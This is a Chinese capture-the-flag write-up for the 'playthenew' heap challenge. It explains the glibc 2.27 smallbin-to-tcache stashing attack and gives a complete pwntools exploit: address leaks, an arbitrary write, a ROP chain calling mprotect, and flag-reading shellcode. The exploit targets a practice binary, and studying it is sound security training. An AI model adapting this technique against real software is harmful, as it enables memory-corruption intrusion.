实验环境:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-170-generic
GLIBC 2.27-3ubuntu1.5
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/playthenew
ELF安全性:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
反编译:
void *my_init()
{
void *result; // rax
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
mmap_area = mmap((void *)0x100000, 0x1000uLL, 3, 34, -1, 0LL);
result = mmap_area;
*(_QWORD *)mmap_area = 66LL;
return result;
}
__int64 readint()
{
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 8uLL);
return (unsigned int)atoi(buf);
}
int menu()
{
puts("* Buy a basketball");
puts("* Throw a basketball");
puts("* Show a dance");
puts("* Change a basketball");
return printf("> ");
}
void __fastcall buy()
{
int index; // [rsp+8h] [rbp-8h]
signed int size; // [rsp+Ch] [rbp-4h]
printf("Input the index:");
index = readint();
if ( index > 4 || index < 0 )
{
puts("Invaild idx!");
exit(0);
}
printf("input the size of basketball:");
size = readint();
if ( size <= 0x80 || size > 0x200 )
exit(0);
data[index].ptr = (char *)calloc(1uLL, size);
data[index].size = size;
if ( data[index].ptr )
{
printf("Input the dancer name:");
read(0, data[index].ptr, data[index].size);
puts("Success!");
}
else
{
data[index].ptr = 0LL;
data[index].size = 0;
}
}
void throw()
{
int index; // [rsp+Ch] [rbp-4h]
printf("Input the idx of basketball:");
index = readint();
if ( index > 4 || index < 0 )
{
puts("Invaild idx!");
exit(0);
}
if ( !data[index].ptr )
{
puts("No basketball.");
exit(0);
}
free(data[index].ptr);
}
void __fastcall show()
{
int index; // [rsp+Ch] [rbp-4h]
printf("Input the idx of basketball:");
index = readint();
if ( index < 0 || index > 4 )
{
puts("Invaild idx!");
exit(0);
}
if ( !data[index].ptr )
{
puts("No basketball.");
exit(0);
}
printf("Show the dance:");
puts(data[index].ptr);
}
void __fastcall change()
{
int index; // [rsp+Ch] [rbp-4h]
printf("Input the idx of basketball:");
index = readint();
if ( index < 0 || index > 4 )
{
puts("Invaild idx!");
exit(0);
}
if ( !data[index].ptr )
{
puts("No basketball.");
exit(0);
}
printf("The new dance of the basketball:");
read(0, data[index].ptr, data[index].size);
}
void __fastcall secret()
{
if ( *(_QWORD *)mmap_area == 66LL )
exit(0);
printf("Input the secret place:");
if ( read(0, (char *)mmap_area + 8, 0x148uLL) <= 0 )
exit(0);
}
__int64 backdoor()
{
if ( *(_QWORD *)mmap_area == 66LL )
exit(0);
return (*((__int64 (__fastcall **)(_QWORD))mmap_area + 2))(*((_QWORD *)mmap_area + 3));
}
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]
my_init();
puts("It's your show time!\n");
while ( 2 )
{
while ( 1 )
{
menu();
v3 = readint();
if ( v3 <= 5 )
break;
if ( v3 != 1638 )
goto LABEL_13;
backdoor();
}
if ( v3 > 0 )
{
switch ( v3 )
{
case 1:
buy();
continue;
case 2:
throw();
continue;
case 3:
show();
continue;
case 4:
change();
continue;
case 5:
secret();
continue;
default:
goto LABEL_13;
}
}
break;
}
LABEL_13:
exit(0);
}
//seccomp-related code omitted
void __noreturn sigalarm_handler()
{
exit(0);
}
__int64 my_init2()
{
signal(14, (__sighandler_t)sigalarm_handler);
alarm(30u);
return sub_1C8B();
}
seccomp沙箱开启系统限制为:
$ seccomp-tools dump ./playthenew
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
为了做这道题目,我们来了解一下glibc2.27+的smallbin attack。
Smallbin Attack
下面的代码来自malloc.c:3647~3694。
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
glibc 2.27从smallbin中取出堆块时,如果对应大小的tcache没满,并且smallbin中还有chunk的话,就会把smallbin中的chunk转移到tcache中。
在转移过程中,并没有检查chunk的正确性。如果我们可以对smallbin中的chunk进行写操作的话,写入tc_victim->bk
,第29、34行可以把libc的地址bin
写入tc_victim->bk->fd
。实现了任意地址写受控内容。
为了应用这个攻击,最好在tcache上先布局5个chunk,smallbin上布局3个chunk,然后去改smallbin上top堆块的bk。否则可能会出现其他校验问题。
Exploit
这道题目由于用了沙箱,就不能one_gadget了。它的题目里面给mmap了一块RW的区域。很明显是让我们在上面写shellcode。但是后门函数有个条件,是在mmap区域的第一个qword写一个值,因此恰好能用到上面的smallbin attack。
大致思路为:首先泄露堆和libc地址,然后按照上述所说构造堆块,进行smallbin attack把地址写到mmap的qword上,然后就可以执行后门函数了。先利用后门函数泄露栈地址。再利用后门函数执行gets做栈溢出,在栈上布局ROP链执行mprotect把mmap区段的属性加上X,然后调用mmap段上的shellcode完成对flag文件的open+read+write即可。
#!/usr/bin/env python3
# coding = utf-8
# Environment: Ubuntu 18.04
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
def send_choice(choice: int) -> None:
p.recvuntil('> ')
p.send(str(choice))
def buy(index: int, size: int, data: bytes) -> None:
send_choice(1)
p.recvuntil("Input the index:")
p.send(str(index))
p.recvuntil("input the size of basketball:")
p.send(str(size))
p.recvuntil("Input the dancer name:")
p.send(data)
def throw(index: int) -> None:
send_choice(2)
p.recvuntil("Input the idx of basketball:")
p.send(str(index))
def show(index: int) -> None:
send_choice(3)
p.recvuntil("Input the idx of basketball:")
p.send(str(index))
def change(index: int, data: bytes) -> None:
send_choice(4)
p.recvuntil("Input the idx of basketball:")
p.send(str(index))
p.recvuntil("The new dance of the basketball:")
p.send(data)
def secret(data: bytes) -> None:
send_choice(5)
p.recvuntil("Input the secret place:")
p.send(data)
def backdoor() -> None:
send_choice(1638)
p = process('./playthenew')
elf = ELF('./playthenew')
gdb.attach(p, '')
# Step 1: Leak heap address from `tcache->next` field
for _ in range(2):
buy(0, 0x88, 'a')
throw(0)
show(0)
p.recvuntil("Show the dance:")
heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xffff_ffff_ffff_f000
log.info(f"heap base: {hex(heap_base)}")
# Step 2: Leak Libc address via unsortedbin leak
for _ in range(5):
buy(0, 0x88, 'a')
throw(0)
buy(0, 0x88, 'a')
buy(1, 0x88, 'a')
throw(0)
show(0)
p.recvuntil("Show the dance:")
__malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 0x70
libc = LibcSearcher('__malloc_hook', __malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
system = libc_base + libc.dump('system')
log.info(f"__malloc_hook: {hex(__malloc_hook)}")
log.info('libc base: ' + hex(libc_base))
log.info('system: ' + hex(system))
throw(1)
# Step 3: Construct and send 0x170 size chunks in smallbin & tcache for attacking
for _ in range(5):
buy(0, 0x160, 'a')
throw(0)
for _ in range(7):
buy(0, 0xc0, 'a')
throw(0)
buy(0, 0x90, 'a')
throw(0)
buy(0, 0x90, 'a')
buy(1, 0xc0, 'a')
buy(2, 0x100, 'a') # Useless chunk, preventing from forward consolidation
buy(2, 0x90, 'a')
buy(3, 0xc0, 'a')
buy(4, 0x100, 'a') # Useless chunk, preventing from forward consolidation
buy(4, 0x90, 'a')
throw(0)
throw(2) # Note that two 0xa0 size chunk #0 & #2 in unsortedbin now
buy(0, 0xc0, 'a')
buy(2, 0x100, 'a') # Useless chunk, preventing from forward consolidation (top chunk)
throw(1) # Intend to consolidate with old chunk #0 to 0x170 size chunk
throw(3) # Intend to consolidate with old chunk #2 to 0x170 size chunk
throw(4) # Note that a new 0xa0 size chunk #4 in unsortedbin now
throw(0) # Intend to consolidate with old chunk #2 to 0x170 size chunk
buy(0, 0x200, 'a') # Useless chunk, triggering unsortedbin consolidation and bin movement
# Step 4: Perform smallbin attack: write libc address to 0x100000
change(4, p64(heap_base + 0x1a00) + p64(0x100000 - 0x10))
buy(1, 0x160, 'a')
# Step 5: Use backdoor to leak stack address
puts = libc.dump('puts') + libc_base
environ = libc.dump('environ') + libc_base
secret(p64(0) + p64(puts) + p64(environ))
backdoor()
leak_stack = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"leak stack: {hex(leak_stack)}")
# Step 6: Prepare shellcode, turn anonymous segment into RWX, execute shellcode
gets = libc.dump('gets') + libc_base
shellcode = shellcraft.amd64.linux.cat2('flag')
secret(p64(0) + p64(gets) + p64(leak_stack - 0x110) + asm(shellcode))
backdoor()
pop_rdi_ret = 0x000000000002164f + libc_base
pop_rsi_ret = 0x0000000000023a6a + libc_base
pop_rdx_ret = 0x0000000000001b96 + libc_base
mprotect = libc.dump('mprotect') + libc_base
# mprotect(0x100000, 0x1000, 7) -> shellcode(cat flag)
ROPcode = p64(pop_rdi_ret) + p64(0x100000) + \
p64(pop_rsi_ret) + p64(0x1000) + \
p64(pop_rdx_ret) + p64(7) + \
p64(mprotect) + \
p64(0x100020)
p.sendline(ROPcode)
p.interactive()